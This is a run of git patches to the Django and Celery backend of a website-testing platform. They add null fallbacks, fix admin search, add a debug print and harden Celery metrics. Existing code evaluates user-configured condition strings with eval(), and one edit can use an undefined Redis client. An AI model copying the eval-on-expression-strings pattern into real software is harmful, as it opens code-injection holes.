-    max_date = datetime.now() - timedelta(days=days_to_live)
+    max_date = timezone.now() - timedelta(days=days_to_live)
 
     # filter sites by max_date and admin 
     sites = Site.objects.filter(time_created__lte=max_date, user__username='admin')
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 38e4f74f..007535a6 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -526,7 +526,6 @@ def run_next(self) -> None:
             # set defaults
             true_outcomes       = []
             false_outcomes      = []
-            run_as_cumulative   = False
             false_child_ran     = False
             true_child_ran      = False
 

From 4cf99ee04ceca5ba0168af00f0470a5e4cb4e23c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 21 Jun 2025 17:50:38 +0100
Subject: [PATCH 0976/1099] fix: added check for `test.status` in `Flowr()`

---
 app/api/utils/flowr.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 007535a6..45115546 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -537,6 +537,11 @@ def run_next(self) -> None:
                     object_id=obj_data['id'],
                     task_type=current_data['node']['data']['task_type']
                 ).get_object()
+
+                # check if obj is Test and if status != 'incomplete' (skip if true)
+                if type(obj).__name__ == 'Test':
+                    if obj.status == 'incomplete':
+                        continue
                 
                 # build and execute conditions
                 conditions = Alerter(

From 22a763f67214b06fe0aa3134c9be929f403326a1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 21 Jun 2025 18:12:36 +0100
Subject: [PATCH 0977/1099] test: condition builder

---
 app/api/utils/flowr.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 45115546..5568dacb 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -547,6 +547,8 @@ def run_next(self) -> None:
                 conditions = Alerter(
                     expressions=current_data['node']['data']['conditions']
                 ).build_expressions()
+
+                print(conditions)
                 
                 # evaluate conditons
                 outcome = eval(f'True if ({conditions}) else False')

From bd4f81754efc8dc8ac02c407506378cbcccf973d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 21 Jun 2025 18:24:56 +0100
Subject: [PATCH 0978/1099] fix: admin search issue

---
 app/api/admin.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index c208e7df..cf519019 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -52,7 +52,7 @@ class CardAdmin(admin.ModelAdmin):
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
-    search_fields = ('site_url', 'account')
+    search_fields = ('site_url', 'account__name')
     actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites']
 
     def crawl_sites(self, request, queryset):
@@ -89,7 +89,7 @@ def delete_sites(self, request, queryset):
 @admin.register(Page)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
-    search_fields = ('page_url', 'account')
+    search_fields = ('page_url', 'account__name')
     actions = ['scan_pages', 'test_pages', 'delete_pages',]
 
     def scan_pages(self, request, queryset):

From 41b397f89b40709732539927978f7a92f06172d2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 21 Jun 2025 18:53:21 +0100
Subject: [PATCH 0979/1099] fix: added fallbacks to nested definition data

---
 app/api/utils/definitions.py | 74 ++++++++++++++++++------------------
 1 file changed, 37 insertions(+), 37 deletions(-)

diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
index 0f2c46ae..e8333eff 100644
--- a/app/api/utils/definitions.py
+++ b/app/api/utils/definitions.py
@@ -1,5 +1,5 @@
 # Data definitions used throughout
-# The Cursion platform
+# the Cursion platform
 
 
 
@@ -64,188 +64,188 @@
     {
         'name': 'SEO Delta',
         'key': 'seo_delta',
-        'value': 'obj.lighthouse_delta["scores"].get("seo_delta",0)'
+        'value': '(obj.lighthouse_delta.get("scores") or {}).get("seo_delta",0)'
     },
     {
         'name': 'PWA Delta',
         'key': 'pwa_delta',
-        'value': 'obj.lighthouse_delta["scores"].get("pwa_delta",0)'
+        'value': '(obj.lighthouse_delta.get("scores") or {}).get("pwa_delta",0)'
     },
     {
         'name': 'CRUX Delta',
         'key': 'crux_delta',
-        'value': 'obj.lighthouse_delta["scores"].get("crux_delta",0)'
+        'value': '(obj.lighthouse_delta.get("scores") or {}).get("crux_delta",0)'
     },
     {
         'name': 'Best Practices Delta',
         'key': 'best_practices_delta',
-        'value': 'obj.lighthouse_delta["scores"].get("best_practices_delta",0)'
+        'value': '(obj.lighthouse_delta.get("scores") or {}).get("best_practices_delta",0)'
     },
     {
         'name': 'Performance Delta',
         'key': 'performance_delta',
-        'value': 'obj.lighthouse_delta["scores"].get("performance_delta",0)'
+        'value': '(obj.lighthouse_delta.get("scores") or {}).get("performance_delta",0)'
     },
     {
         'name': 'Accessibility Delta',
         'key': 'accessibility_delta',
-        'value': 'obj.lighthouse_delta["scores"].get("accessibility_delta",0)'
+        'value': '(obj.lighthouse_delta.get("scores") or {}).get("accessibility_delta",0)'
     },
     {
         'name': 'Lighthouse Average',
         'key': 'current_lighthouse_average',
-        'value': 'obj.lighthouse_delta["scores"].get("current_average",0)'
+        'value': '(obj.lighthouse_delta.get("scores") or {}).get("current_average",0)'
     },
 
     # LH scan data
     {
         'name': 'Lighthouse Average',
         'key': 'lighthouse_average',
-        'value': 'obj.lighthouse["scores"].get("average",0)'
+        'value': '(obj.lighthouse.get("scores") or {}).get("average",0)'
     },
     {
         'name': 'SEO',
         'key': 'seo',
-        'value': 'obj.lighthouse["scores"].get("seo",0)'
+        'value': '(obj.lighthouse.get("scores") or {}).get("seo",0)'
     },
     {
         'name': 'PWA',
         'key': 'pwa',
-        'value': 'obj.lighthouse["scores"].get("pwa",0)'
+        'value': '(obj.lighthouse.get("scores") or {}).get("pwa",0)'
     },
     {
         'name': 'CRUX',
         'key': 'crux',
-        'value': 'obj.lighthouse["scores"].get("crux",0)'
+        'value': '(obj.lighthouse.get("scores") or {}).get("crux",0)'
     },
     {
         'name': 'Best Practice',
         'key': 'best_practices',
-        'value': 'obj.lighthouse["scores"].get("best_practices",0)'
+        'value': '(obj.lighthouse.get("scores") or {}).get("best_practices",0)'
     },
     {
         'name': 'Performance',
         'key': 'performance',
-        'value': 'obj.lighthouse["scores"].get("performance",0)'
+        'value': '(obj.lighthouse.get("scores") or {}).get("performance",0)'
     },
     {
         'name': 'Accessibility',
         'key': 'accessibility',
-        'value': 'obj.lighthouse["scores"].get("accessibility",0)'
+        'value': '(obj.lighthouse.get("scores") or {}).get("accessibility",0)'
     },
 
     # YL test data
     {
         'name': 'Yellowlab Average',
         'key': 'current_yellowlab_average',
-        'value': 'obj.yellowlab_delta["scores"].get("current_average",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("current_average",0)'
     },
     {
         'name': 'Page Weight Delta',
         'key': 'pageWeight_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("pageWeight_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("pageWeight_delta",0)'
     },
     {
         'name': 'Images Delta',
         'key': 'images_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("images_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("images_delta",0)'
     },
     {
         'name': ' DOM Complexity Delta',
         'key': 'domComplexity_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("domComplexity_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("domComplexity_delta",0)'
     },
     {
         'name': 'JS Complexity Delta',
         'key': 'javascriptComplexity_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("javascriptComplexity_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("javascriptComplexity_delta",0)'
     },
     {
         'name': 'Bad JS Delta',
         'key': 'badJavascript_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("badJavascript_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("badJavascript_delta",0)'
     },
     {
         'name': 'jQuery Delta',
         'key': 'jQuery_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("jQuery_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("jQuery_delta",0)'
     },
     {
         'name': 'CSS Complexity Delta',
         'key': 'cssComplexity_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("cssComplexity_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("cssComplexity_delta",0)'
     },
     {
         'name': 'Bad CSS Delta',
         'key': 'badCSS_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("badCSS_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("badCSS_delta",0)'
     },
     {
         'name': 'Fonts Delta',
         'key': 'fonts_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("fonts_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("fonts_delta",0)'
     },
     {
         'name': 'Server Config Delta',
         'key': 'serverConfig_delta',
-        'value': 'obj.yellowlab_delta["scores"].get("serverConfig_delta",0)'
+        'value': '(obj.yellowlab_delta.get("scores") or {}).get("serverConfig_delta",0)'
     },
 
     # YL scan data
     {
         'name': 'Yellowlab Average',
         'key': 'yellowlab_average',
-        'value': 'obj.yellowlab["scores"].get("globalScore",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("globalScore",0)'
     },
     {
         'name': 'Page Weight',
         'key': 'pageWeight',
-        'value': 'obj.yellowlab["scores"].get("pageWeight",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("pageWeight",0)'
     },
     {
         'name': 'Images',
         'key': 'images',
-        'value': 'obj.yellowlab["scores"].get("images",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("images",0)'
     },
     {
         'name': 'DOM Complexity',
         'key': 'domComplexity',
-        'value': 'obj.yellowlab["scores"].get("domComplexity",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("domComplexity",0)'
     },
     {
         'name': 'JS Complexity',
         'key': 'javascriptComplexity',
-        'value': 'obj.yellowlab["scores"].get("javascriptComplexity",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("javascriptComplexity",0)'
     },
     {
         'name': 'Bad JS',
         'key': 'badJavascript',
-        'value': 'obj.yellowlab["scores"].get("badJavascript",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("badJavascript",0)'
     },
     {
         'name': 'jQuery',
         'key': 'jQuery',
-        'value': 'obj.yellowlab["scores"].get("jQuery",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("jQuery",0)'
     },
     {
         'name': 'CSS Complexity',
         'key': 'cssComplexity',
-        'value': 'obj.yellowlab["scores"].get("cssComplexity",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("cssComplexity",0)'
     },
     {
         'name': 'Bad CSS',
         'key': 'badCSS',
-        'value': 'obj.yellowlab["scores"].get("badCSS",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("badCSS",0)'
     },
     {
         'name': 'Fonts',
         'key': 'fonts',
-        'value': 'obj.yellowlab["scores"].get("fonts",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("fonts",0)'
     },
     {
         'name': 'Server Configs',
         'key': 'serverConfig',
-        'value': 'obj.yellowlab["scores"].get("serverConfig",0)'
+        'value': '(obj.yellowlab.get("scores") or {}).get("serverConfig",0)'
     },
 
     # caserun

From 6b2d9caffd7e85f1b1fcbc5e79f86dab935f6949 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 21 Jun 2025 20:15:30 +0100
Subject: [PATCH 0980/1099] fix: added new fallbacks for definitions data

---
 app/api/utils/definitions.py | 72 ++++++++++++++++++------------------
 1 file changed, 36 insertions(+), 36 deletions(-)

diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
index e8333eff..4a19b8c8 100644
--- a/app/api/utils/definitions.py
+++ b/app/api/utils/definitions.py
@@ -64,188 +64,188 @@
     {
         'name': 'SEO Delta',
         'key': 'seo_delta',
-        'value': '(obj.lighthouse_delta.get("scores") or {}).get("seo_delta",0)'
+        'value': '((obj.lighthouse_delta or {}).get("scores") or {}).get("seo_delta",0)'
     },
     {
         'name': 'PWA Delta',
         'key': 'pwa_delta',
-        'value': '(obj.lighthouse_delta.get("scores") or {}).get("pwa_delta",0)'
+        'value': '((obj.lighthouse_delta or {}).get("scores") or {}).get("pwa_delta",0)'
     },
     {
         'name': 'CRUX Delta',
         'key': 'crux_delta',
-        'value': '(obj.lighthouse_delta.get("scores") or {}).get("crux_delta",0)'
+        'value': '((obj.lighthouse_delta or {}).get("scores") or {}).get("crux_delta",0)'
     },
     {
         'name': 'Best Practices Delta',
         'key': 'best_practices_delta',
-        'value': '(obj.lighthouse_delta.get("scores") or {}).get("best_practices_delta",0)'
+        'value': '((obj.lighthouse_delta or {}).get("scores") or {}).get("best_practices_delta",0)'
     },
     {
         'name': 'Performance Delta',
         'key': 'performance_delta',
-        'value': '(obj.lighthouse_delta.get("scores") or {}).get("performance_delta",0)'
+        'value': '((obj.lighthouse_delta or {}).get("scores") or {}).get("performance_delta",0)'
     },
     {
         'name': 'Accessibility Delta',
         'key': 'accessibility_delta',
-        'value': '(obj.lighthouse_delta.get("scores") or {}).get("accessibility_delta",0)'
+        'value': '((obj.lighthouse_delta or {}).get("scores") or {}).get("accessibility_delta",0)'
     },
     {
         'name': 'Lighthouse Average',
         'key': 'current_lighthouse_average',
-        'value': '(obj.lighthouse_delta.get("scores") or {}).get("current_average",0)'
+        'value': '((obj.lighthouse_delta or {}).get("scores") or {}).get("current_average",0)'
     },
 
     # LH scan data
     {
         'name': 'Lighthouse Average',
         'key': 'lighthouse_average',
-        'value': '(obj.lighthouse.get("scores") or {}).get("average",0)'
+        'value': '((obj.lighthouse or {}).get("scores") or {}).get("average",0)'
     },
     {
         'name': 'SEO',
         'key': 'seo',
-        'value': '(obj.lighthouse.get("scores") or {}).get("seo",0)'
+        'value': '((obj.lighthouse or {}).get("scores") or {}).get("seo",0)'
     },
     {
         'name': 'PWA',
         'key': 'pwa',
-        'value': '(obj.lighthouse.get("scores") or {}).get("pwa",0)'
+        'value': '((obj.lighthouse or {}).get("scores") or {}).get("pwa",0)'
     },
     {
         'name': 'CRUX',
         'key': 'crux',
-        'value': '(obj.lighthouse.get("scores") or {}).get("crux",0)'
+        'value': '((obj.lighthouse or {}).get("scores") or {}).get("crux",0)'
     },
     {
         'name': 'Best Practice',
         'key': 'best_practices',
-        'value': '(obj.lighthouse.get("scores") or {}).get("best_practices",0)'
+        'value': '((obj.lighthouse or {}).get("scores") or {}).get("best_practices",0)'
     },
     {
         'name': 'Performance',
         'key': 'performance',
-        'value': '(obj.lighthouse.get("scores") or {}).get("performance",0)'
+        'value': '((obj.lighthouse or {}).get("scores") or {}).get("performance",0)'
     },
     {
         'name': 'Accessibility',
         'key': 'accessibility',
-        'value': '(obj.lighthouse.get("scores") or {}).get("accessibility",0)'
+        'value': '((obj.lighthouse or {}).get("scores") or {}).get("accessibility",0)'
     },
 
     # YL test data
     {
         'name': 'Yellowlab Average',
         'key': 'current_yellowlab_average',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("current_average",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("current_average",0)'
     },
     {
         'name': 'Page Weight Delta',
         'key': 'pageWeight_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("pageWeight_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("pageWeight_delta",0)'
     },
     {
         'name': 'Images Delta',
         'key': 'images_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("images_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("images_delta",0)'
     },
     {
         'name': ' DOM Complexity Delta',
         'key': 'domComplexity_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("domComplexity_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("domComplexity_delta",0)'
     },
     {
         'name': 'JS Complexity Delta',
         'key': 'javascriptComplexity_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("javascriptComplexity_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("javascriptComplexity_delta",0)'
     },
     {
         'name': 'Bad JS Delta',
         'key': 'badJavascript_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("badJavascript_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("badJavascript_delta",0)'
     },
     {
         'name': 'jQuery Delta',
         'key': 'jQuery_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("jQuery_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("jQuery_delta",0)'
     },
     {
         'name': 'CSS Complexity Delta',
         'key': 'cssComplexity_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("cssComplexity_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("cssComplexity_delta",0)'
     },
     {
         'name': 'Bad CSS Delta',
         'key': 'badCSS_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("badCSS_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("badCSS_delta",0)'
     },
     {
         'name': 'Fonts Delta',
         'key': 'fonts_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("fonts_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("fonts_delta",0)'
     },
     {
         'name': 'Server Config Delta',
         'key': 'serverConfig_delta',
-        'value': '(obj.yellowlab_delta.get("scores") or {}).get("serverConfig_delta",0)'
+        'value': '((obj.yellowlab_delta or {}).get("scores") or {}).get("serverConfig_delta",0)'
     },
 
     # YL scan data
     {
         'name': 'Yellowlab Average',
         'key': 'yellowlab_average',
-        'value': '(obj.yellowlab.get("scores") or {}).get("globalScore",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("globalScore",0)'
     },
     {
         'name': 'Page Weight',
         'key': 'pageWeight',
-        'value': '(obj.yellowlab.get("scores") or {}).get("pageWeight",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("pageWeight",0)'
     },
     {
         'name': 'Images',
         'key': 'images',
-        'value': '(obj.yellowlab.get("scores") or {}).get("images",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("images",0)'
     },
     {
         'name': 'DOM Complexity',
         'key': 'domComplexity',
-        'value': '(obj.yellowlab.get("scores") or {}).get("domComplexity",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("domComplexity",0)'
     },
     {
         'name': 'JS Complexity',
         'key': 'javascriptComplexity',
-        'value': '(obj.yellowlab.get("scores") or {}).get("javascriptComplexity",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("javascriptComplexity",0)'
     },
     {
         'name': 'Bad JS',
         'key': 'badJavascript',
-        'value': '(obj.yellowlab.get("scores") or {}).get("badJavascript",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("badJavascript",0)'
     },
     {
         'name': 'jQuery',
         'key': 'jQuery',
-        'value': '(obj.yellowlab.get("scores") or {}).get("jQuery",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("jQuery",0)'
     },
     {
         'name': 'CSS Complexity',
         'key': 'cssComplexity',
-        'value': '(obj.yellowlab.get("scores") or {}).get("cssComplexity",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("cssComplexity",0)'
     },
     {
         'name': 'Bad CSS',
         'key': 'badCSS',
-        'value': '(obj.yellowlab.get("scores") or {}).get("badCSS",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("badCSS",0)'
     },
     {
         'name': 'Fonts',
         'key': 'fonts',
-        'value': '(obj.yellowlab.get("scores") or {}).get("fonts",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("fonts",0)'
     },
     {
         'name': 'Server Configs',
         'key': 'serverConfig',
-        'value': '(obj.yellowlab.get("scores") or {}).get("serverConfig",0)'
+        'value': '((obj.yellowlab or {}).get("scores") or {}).get("serverConfig",0)'
     },
 
     # caserun

From 174e85b8f49f32ef32a5020c72f124cd6a197805 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 12:14:39 +0100
Subject: [PATCH 0981/1099] fix: added catches to <object>.system in task retry

---
 app/api/tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 9243d20c..b9a69b2c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -315,7 +315,7 @@ def redeliver_failed_tasks() -> None:
         flowrun_id      = None
         node_index      = None
         components      = []
-        for task in scan.system.get('tasks', []):
+        for task in (scan.system or {}).get('tasks', []):
 
             # get task_id
             task_id = task.get('task_id')
@@ -383,7 +383,7 @@ def redeliver_failed_tasks() -> None:
         # check each task in system['tasks']
         retried_tasks = 0
         pending_tasks = 0
-        for task in test.system.get('tasks', []):
+        for task in (test.system or {}).get('tasks', []):
 
             # define task_id
             task_id = task.get('task_id') 

From 3792d2a9ea5c3c19f8716d182a6975c080b2f5b0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 12:52:55 +0100
Subject: [PATCH 0982/1099] fix: added additional catch to system data

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index b9a69b2c..16b01b8e 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -409,7 +409,7 @@ def redeliver_failed_tasks() -> None:
             test.save()
 
             # get flowrun info
-            first_task  = test.system.get('tasks', [])[0] or {}
+            first_task  = (test.system or {}).get('tasks', [])[0] or {}
             flowrun_id  = first_task['kwargs'].get('flowrun_id') or None
             node_index  = first_task['kwargs'].get('node_index') or None
             

From 4e8fa7bee6d67d8669fe45f649e7b6c6cc840bca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 12:56:32 +0100
Subject: [PATCH 0983/1099] fix: adding fallbacks to system data

---
 app/api/tasks.py | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 16b01b8e..2e502652 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -409,9 +409,10 @@ def redeliver_failed_tasks() -> None:
             test.save()
 
             # get flowrun info
-            first_task  = (test.system or {}).get('tasks', [])[0] or {}
-            flowrun_id  = first_task['kwargs'].get('flowrun_id') or None
-            node_index  = first_task['kwargs'].get('node_index') or None
+            first_task  = ((test.system or {}).get('tasks') or [{}])[0]
+            kwargs      = first_task.get('kwargs') or {}
+            flowrun_id  = kwargs.get('flowrun_id')
+            node_index  = kwargs.get('node_index')
             
             # update FlowRun if present
             if flowrun_id and flowrun_id != 'None':

From bbfdfa032b124411cdca54b225ee2b86b08fd200 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 13:01:10 +0100
Subject: [PATCH 0984/1099] fix: small typo

---
 app/api/tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2e502652..7e841cb9 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -421,11 +421,11 @@ def redeliver_failed_tasks() -> None:
                     'node_index': node_index,
                     'message': (
                         f'test for {test.page.page_url} completed with status: '+
-                        f'⏺️ INCOMPLETE | test_id: {str(test_id)}'
+                        f'⏺️ INCOMPLETE | test_id: {str(test.id)}'
                     ),
                     'objects': [{
                         'parent': str(test.page.id),
-                        'id': str(test_id),
+                        'id': str(test.id),
                         'status': 'incomplete'
                     }]
                 })

From 2fb092eadba8ca2a97d44c42872649458bc95bcd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 13:31:30 +0100
Subject: [PATCH 0985/1099] fix: typo

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7e841cb9..dbd4b023 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1636,7 +1636,7 @@ def create_test(
         # check and increment resources
         if not check_and_increment_resource(page.account.id, 'scans'):
             
-            # update obects
+            # update objects
             objects[-1]['status'] = 'failed'
 
             # update flowrun

From 2f76e2c4a5782574db67f33787ace8e47fc1fbcd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 13:31:53 +0100
Subject: [PATCH 0986/1099] fix: added fallbacks for celery metrics

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f16aebee..099e78c7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -7691,10 +7691,10 @@ def get_celery_metrics(request: object=None) -> object:
     i = celery.app.control.inspect()
     
     # Tasks received, but are still waiting to be executed.
-    reserved = i.reserved()
+    reserved = i.reserved() or []
 
     # Active tasks
-    active = i.active()
+    active = i.active() or []
 
     # init task & replica counters & ratio 
     num_tasks = 0

From dfa9fe705e9931aad179588912e1c914d13913ef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 13:43:52 +0100
Subject: [PATCH 0987/1099] update: added fallbacks for `get_celery_metrics()`

---
 app/api/v1/ops/services.py | 42 +++++++++++++++++++++++---------------
 1 file changed, 26 insertions(+), 16 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 099e78c7..2afd0282 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -7679,21 +7679,24 @@ def get_celery_metrics(request: object=None) -> object:
 
     
     # get redis queue len
-    redis_client = Redis.from_url(
-        settings.CELERY_BROKER_URL, 
-        socket_connect_timeout=3
-    )
-    redis_queue_len = redis_client.llen(
-        app.default_app.conf.task_default_queue
-    )
+    try:
+        redis_client = Redis.from_url(
+            settings.CELERY_BROKER_URL, 
+            socket_connect_timeout=3
+        )
+        redis_queue_len = redis_client.llen(
+            app.default_app.conf.task_default_queue
+        )
+    except RedisError:
+        redis_queue_len = 0
 
-    # Inspect all nodes.
+    # inspect all nodes.
     i = celery.app.control.inspect()
     
-    # Tasks received, but are still waiting to be executed.
+    # tasks received, but are still waiting to be executed.
     reserved = i.reserved() or []
 
-    # Active tasks
+    # active tasks
     active = i.active() or []
 
     # init task & replica counters & ratio 
@@ -7702,13 +7705,21 @@ def get_celery_metrics(request: object=None) -> object:
     ratio = 0
     working_len = 0
 
+    # inspect Celery workers
+    i = celery.app.control.inspect()
+
+    # fetch active, reserved, & queues tasks
+    reserved    = i.reserved() or {}
+    active      = i.active() or {}
+    queued      = redis_client.lrange('celery', 0, -1)
+
     # loop through all reserved & active tasks and
     # add length of array (tasks) to total
-    for replica in reserved:
-        num_tasks += len(reserved[replica])
+    for replica, tasks in reserved.items():
+        num_tasks += len(tasks)
         num_replicas += 1
-    for replica in active:
-        num_tasks += len(active[replica])
+    for replica, tasks in active.items():
+        num_tasks += len(tasks)
 
     # build metrics
     if num_replicas > 0:
@@ -7727,8 +7738,7 @@ def get_celery_metrics(request: object=None) -> object:
     }
 
     # return response
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    return Response(data, status=status.HTTP_200_OK)
 
 
 

From 0ce2f654337f8bfd5ddf27c64eda7bdf987bfb8a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 14:23:52 +0100
Subject: [PATCH 0988/1099] fix: added fallback for system data in manager.py

---
 app/api/utils/manager.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/manager.py b/app/api/utils/manager.py
index 6625566e..0258ca33 100644
--- a/app/api/utils/manager.py
+++ b/app/api/utils/manager.py
@@ -40,7 +40,7 @@ def record_task(
         resource = CaseRun.objects.get(id=resource_id)
 
     # get current resoruce.system.tasks data
-    tasks = resource.system.get('tasks', [])
+    tasks = (resource.system or {}).get('tasks', [])
 
     # get component based on task_name
     component = task_method.replace('run_', '').replace('_bg', '').replace('_and_logs', '')

From b69a0ec709003ea0b4d5581c04c5919e1121b4dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 22 Jun 2025 14:59:20 +0100
Subject: [PATCH 0989/1099] fix: added additional fallback for
 `<object>.system` in `manager.py`

---
 app/api/utils/manager.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/manager.py b/app/api/utils/manager.py
index 0258ca33..48517962 100644
--- a/app/api/utils/manager.py
+++ b/app/api/utils/manager.py
@@ -69,6 +69,7 @@ def record_task(
         })
 
     # update resource with new system data
+    resource.system = resource.system or {}
     resource.system['tasks'] = tasks
     resource.save()
 

From 4c9d48f90f530f62b93f280503912b1ef0ae64f9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Jun 2025 13:38:04 +0100
Subject: [PATCH 0990/1099] update: flowrun retry placeholder

---
 app/api/tasks.py | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
